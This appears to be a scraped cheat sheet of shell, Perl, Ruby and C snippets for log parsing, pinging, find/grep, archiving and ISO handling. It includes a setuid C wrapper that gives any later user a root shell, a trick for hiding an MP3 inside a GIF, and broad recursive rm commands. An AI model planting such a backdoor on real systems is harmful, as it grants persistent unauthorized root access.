Getting ip addresses from log file
2008
perl -ne '$_{$1}=1 if /(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})/;eof&&{print join("\n", sort keys %_)}' access.log
my web space
perl -ne '$_{$1}=1 if /(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})/;eof&&{print join("\n", sort keys %_)}' access.log
[localhost]$
time perl -MNet::Ping -e '$p = Net::Ping->new(); @hosts = qw( 127.0.0.1 172.16.0.1 172.16.0.2 172.16.0.5 172.16.0.254); #the significant detail $p->{"timeout"} = 0.005; for (@hosts) { print "$_ is ".($p->ping($_) ? "up" : "down").$/ }'
127.0.0.1 is up
172.16.0.1 is up
172.16.0.2 is down
172.16.0.5 is up
172.16.0.254 is down
real 0m0.062s
user 0m0.040s
sys 0m0.000s
irb console
$/ = "\r\n" # addition of .mp3 file to .gif file File.open('test.gif', 'a') do |fh| fh < < "\r\n#{File.readlines('test.mp3')}" end # extraction of the .mp3 content File.open('extracted.mp3', 'w') do |fh| fh << File.readlines('test.gif')[1..-1] end
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | #include "sys/types.h" #include "unistd.h" #include "stdlib.h" #include "stdio.h" int main(int argc, char** argv) { int root_id = 0; char *command = argv[1]; if(!command) command = "/bin/bash"; setuid(root_id); system(command); exit(0); } |
root# gcc -o temproot temproot.c
root# chmod +s temproot
nobody$ alias root=’temproot “su – root”’
nobody$ root
find
Recursively find and print all files, having ‘txt’ extention:
find ./ -type f -name "*.txt"
The same but case insensititve:
find ./ -type f -iname "*.txt"
cat all found ‘txt’ files:
find ./ -type f -name "*.txt" -exec cat '{}' \;
rm all found ‘txt’ files, starting with capital letter:
find ./ -type f -name "[A-Z]*.txt" -exec rm '{}' \;
rm all except ‘txt’ files:
find ./ -type f ! -name "*.txt" -exec rm '{}' \;
grep
Find and print all lines in all files, containing ‘tester’:
grep tester *
Find and print all lines of all files, which do not contain ‘tester’:
grep -v tester *
The same but recursively:
grep -r -v tester *
The same but case insensitive:
grep -i -v tester *
The same but coloured:
grep -n -r --color=auto -v tester *
processes
simple Perl daemon:
perl -e 'use POSIX qw(setsid); fork; setsid; sleep 1, print $c++,$/ while 1'
checking the process existance: ps x | perl
another way to find the process id: pgrep perl
kill all processes, related to perl interpreter:pkill perl
monitor all processes within 1 second interval:top -d1
monitor all processes, which access the storage devices:iotop -d1
monitor all open files (pipes, sockets, directories, etc.):lsof
archive
Archive directory and all files and sub-directories:
tar cvf home.tar /home
The same but gzip compresses:
tar zcvf home.tar.gz /home
The same but bzip2 compressed:
tar jcvf home.tar.bz2 /home
“untar” gzip compressed archive:
tar zxvf home.tar.gz
“untar” bzip2 compressed archive:
tar jxvf home.tar.gz
column extraction, assuming, that all user names are needed “/etc/passwd”:
cut command
cat /etc/passwd | cut -f1 -d:
awk script
cat /etc/passwd | awk -F':' '{print $1}'
Perl source code
perl -ne '/(\w+)/ && print $1,$/' /etc/passwd
Ruby source code
ruby -ne 'puts $1 if /(\w+)/' /etc/passwd
ISO image manipulation
ISO image creation:
dd if=/dev/cdrom of=/tmp/cdr.iso
mkisofs -rJTV "books label" /home/books > /tmp/books.iso
ISO image reading:
mount -o loop -t iso9660 /tmp/books.iso /mnt/isoimage
require "socket" unless ARGV.size == 2 raise ArgumentError, "Expected two hostnames, got #{ARGV.size}" end h1,h2 = ARGV begin h1,h2 = Socket::getaddrinfo(h1, 7)[0][3], Socket::getaddrinfo(h2, 7)[0][3] rescue print "#{$!}...\texiting\n" exit end if h1.eql? h2 puts "hosts have the same ip address: #{h1}" else puts "hosts differ: #{h1} #{h2}" end